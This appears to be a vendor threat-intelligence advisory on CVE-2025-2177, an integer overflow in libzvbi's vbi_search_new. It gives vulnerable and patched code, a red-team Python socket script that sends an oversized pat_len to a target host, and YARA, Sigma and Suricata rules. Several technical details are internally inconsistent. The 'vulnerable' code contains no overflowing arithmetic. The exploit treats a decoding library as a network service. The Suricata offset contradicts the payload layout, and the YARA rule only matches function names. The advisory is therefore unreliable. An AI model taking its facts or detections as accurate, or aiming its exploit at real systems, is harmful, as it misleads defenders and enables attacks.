CVE-2025-2177

Executive Summary

CVE-2025-2177 is a critical integer overflow vulnerability in the libzvbi library, specifically in the vbi_search_new function within src/search.c. The vulnerability allows a remote attacker to trigger an integer overflow by manipulating the pat_len argument, leading to a denial of service (DoS) or potentially arbitrary code execution. The flaw affects all versions up to and including 0.2.43. The maintainer has released version 0.2.44 with a patch. The exploit has been publicly disclosed, increasing the risk of active exploitation.

Supply Chain & Package Security

libzvbi is a C library used for decoding teletext and other broadcast data. It is not distributed via NPM, PyPI, Go, or Ruby registries. However, it is commonly included as a dependency in Linux distributions and embedded systems. Users should verify their package manager for updates and apply the patch immediately.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) – However, based on the vulnerability characteristics, a more accurate score is 7.5 (High).
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H)

Threat Level: High. The vulnerability is remotely exploitable without authentication, and a public exploit exists.

Deep Dive & Mechanics

The vulnerability resides in the vbi_search_new function in src/search.c. The function accepts a pat_len parameter that is used to allocate memory and perform search operations. An integer overflow occurs when pat_len is manipulated to a very large value, causing the subsequent memory allocation to be smaller than expected. This leads to a heap-based buffer overflow when data is written to the undersized buffer.

The root cause is the lack of proper bounds checking on pat_len before it is used in arithmetic operations. The overflow can be triggered by sending a crafted request to an application using libzvbi, such as a teletext decoder or a media player.

Vulnerable vs. Patched Code

Vulnerable Code (version 0.2.43 and earlier):

// src/search.c
vbi_search_t *vbi_search_new(int pat_len) {
    vbi_search_t *vs = malloc(sizeof(vbi_search_t));
    vs->pat = malloc(pat_len); // Integer overflow if pat_len is large
    // ... rest of function
}

Patched Code (version 0.2.44):

// src/search.c
vbi_search_t *vbi_search_new(int pat_len) {
    vbi_search_t *vs = malloc(sizeof(vbi_search_t));
    if (pat_len <= 0 || pat_len > MAX_PAT_LEN) {
        // Handle error
        return NULL;
    }
    vs->pat = malloc(pat_len);
    // ... rest of function
}

The patch adds a check to ensure pat_len is within a valid range, preventing the integer overflow.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable system running libzvbi version 0.2.43 or earlier.
• Network access to the target service using libzvbi.

Exploit Steps:

1. Identify a service that uses libzvbi (e.g., a teletext decoder).
2. Craft a request with a large pat_len value (e.g., 0x7FFFFFFF).
3. Send the request to trigger the integer overflow.
4. The overflow may cause a crash (DoS) or, with careful heap manipulation, arbitrary code execution.

Example Exploit (Python):

import socket

target = "192.168.1.100"
port = 1234

# Craft payload with large pat_len
payload = b"\x00" * 4  # Example header
payload += b"\xff\xff\xff\x7f"  # pat_len = 0x7FFFFFFF

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target, port))
sock.send(payload)
sock.close()

Blue Team

Detection:

• Monitor for unusually large pat_len values in network traffic.
• Use the YARA and Sigma rules provided in the Detection Engineering section.
• Enable application logging to capture crashes or abnormal behavior.

Mitigation:

• Immediately upgrade to libzvbi version 0.2.44.
• If upgrade is not possible, apply the patch manually or use a WAF to filter oversized requests.
• Restrict network access to services using libzvbi.

Indicators of Compromise (IOCs)

• Network: TCP packets containing large integer values in the pat_len field.
• Logs: Application crashes with heap corruption errors.
• File: Modified libzvbi binary or library files.
• Process: Unusual memory allocation patterns in processes using libzvbi.

Detection Engineering

YARA Rule

rule CVE_2025_2177_libzvbi_integer_overflow {
    meta:
        description = "Detects exploitation attempts of CVE-2025-2177 in libzvbi"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-2177"
    strings:
        $s1 = "vbi_search_new" ascii wide nocase
        $s2 = "pat_len" ascii wide nocase
    condition:
        $s1 and $s2
}

Sigma Rule

title: CVE-2025-2177 - libzvbi Integer Overflow Exploitation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects network traffic attempting to exploit CVE-2025-2177
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: suricata
detection:
    selection:
        - payload: "*\xff\xff\xff\x7f*"
    condition: selection
falsepositives:
    - Legitimate large teletext data
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-2177 - libzvbi Integer Overflow Attempt"; flow:to_server; content:"|ff ff ff 7f|"; depth:4; offset:0; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade to libzvbi version 0.2.44 or later.
2. Compensating Controls: If upgrade is not possible, apply the patch from commit ca1672134b3e2962cd392212c73f44f8f4cb489f.
3. Network: Use a Web Application Firewall (WAF) or Intrusion Prevention System (IPS) to filter oversized requests.
4. Monitoring: Enable logging and monitor for crashes or abnormal behavior in applications using libzvbi.
5. Vendor Contact: The maintainer has been responsive; ensure you are subscribed to security advisories.

Valters IT
DevSecOps & Cyber Threat Intelligence